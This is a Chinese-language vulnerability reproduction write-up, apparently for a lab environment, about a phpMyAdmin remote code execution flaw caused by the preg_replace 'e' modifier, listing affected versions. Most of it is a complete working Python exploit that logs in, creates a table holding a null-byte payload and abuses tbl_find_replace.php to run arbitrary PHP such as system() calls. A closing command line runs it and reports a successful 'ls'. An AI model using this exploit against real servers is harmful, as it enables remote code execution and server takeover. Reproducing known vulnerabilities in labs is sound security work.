phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。
phpMyAdmin中存在安全漏洞,该漏洞源于程序没有正确选择分隔符来避免使用preg_replace e修饰符。远程攻击者可借助特制的字符串利用该漏洞执行任意PHP代码。
受影响的版本
phpMyAdmin 4.0.10.16之前4.0.x版本
4.4.15.7之前4.4.x版本
4.6.3之前4.6.x版本
漏洞复现
访问your-ip:8080可以看到phpmyadmin登录页面
POC如下:
1 import requests 2 import argparse 3 import sys 4 5 __author__ = "@iamsecurity" 6 7 if __name__ == ‘__main__‘: 8 parser = argparse.ArgumentParser() 9 parser.add_argument("url", type=str, help="URL with path to PMA") 10 parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()") 11 parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user") 12 parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user") 13 parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server") 14 parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.") 15 arguments = parser.parse_args() 16 url_to_pma = arguments.url 17 uname = arguments.user 18 upass = arguments.pwd 19 if arguments.dbs: 20 db = arguments.dbs 21 else: 22 db = "test" 23 token = False 24 custom_table = False 25 if arguments.table: 26 custom_table = True 27 table = arguments.table 28 else: 29 table = "prgpwn" 30 if arguments.cmd: 31 payload = arguments.cmd 32 else: 33 payload = "system(‘uname -a‘);" 34 35 size = 32 36 s = requests.Session() 37 # you can manually add proxy support it‘s very simple ;) 38 # s.proxies = {‘http‘: "127.0.0.1:8080", ‘https‘: "127.0.0.1:8080"} 39 s.verify = False 40 sql = ‘‘‘CREATE TABLE `{0}` ( 41 `first` varchar(10) CHARACTER SET utf8 NOT NULL 42 ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 43 INSERT INTO `{0}` (`first`) VALUES (UNHEX(‘302F6500‘)); 44 ‘‘‘.format(table) 45 46 # get_token 47 resp = s.post(url_to_pma + "/?lang=en", dict( 48 pma_username=uname, 49 pma_password=upass 50 )) 51 if resp.status_code is 200: 52 token_place = resp.text.find("token=") + 6 53 token = resp.text[token_place:token_place + 32] 54 if token is False: 55 print("Cannot get valid authorization token.") 56 sys.exit(1) 57 58 if custom_table is False: 59 data = { 60 "is_js_confirmed": "0", 61 "db": db, 62 "token": token, 63 "pos": "0", 64 "sql_query": sql, 65 "sql_delimiter": ";", 66 "show_query": "0", 67 "fk_checks": "0", 68 "SQL": "Go", 69 "ajax_request": "true", 70 "ajax_page_request": "true", 71 } 72 resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies)) 73 if resp.status_code == 200: 74 if "success" in resp.json(): 75 if resp.json()["success"] is False: 76 first = resp.json()["error"][resp.json()["error"].find("<code>")+6:] 77 error = first[:first.find("</code>")] 78 if "already exists" in error: 79 print(error) 80 else: 81 print("ERROR: " + error) 82 sys.exit(1) 83 # build exploit 84 exploit = { 85 "db": db, 86 "table": table, 87 "token": token, 88 "goto": "sql.php", 89 "find": "0/e\0", 90 "replaceWith": payload, 91 "columnIndex": "0", 92 "useRegex": "on", 93 "submit": "Go", 94 "ajax_request": "true" 95 } 96 resp = s.post( 97 url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies) 98 ) 99 if resp.status_code == 200: 100 result = resp.json()["message"][resp.json()["message"].find("</a>")+8:] 101 if len(result): 102 print("result: " + result) 103 sys.exit(0) 104 print( 105 "Exploit failed!\n" 106 "Try to manually set exploit parameters like --table, --database and --token.\n" 107 "Remember that servers with PHP version greater than 5.4.6" 108 " is not exploitable, because of warning about null byte in regexp" 109 ) 110 sys.exit(1)
运行POC即可 python 1.py -c "system(ls);" -u root -p root -d test http://your-ip:8080/
成功执行ls命令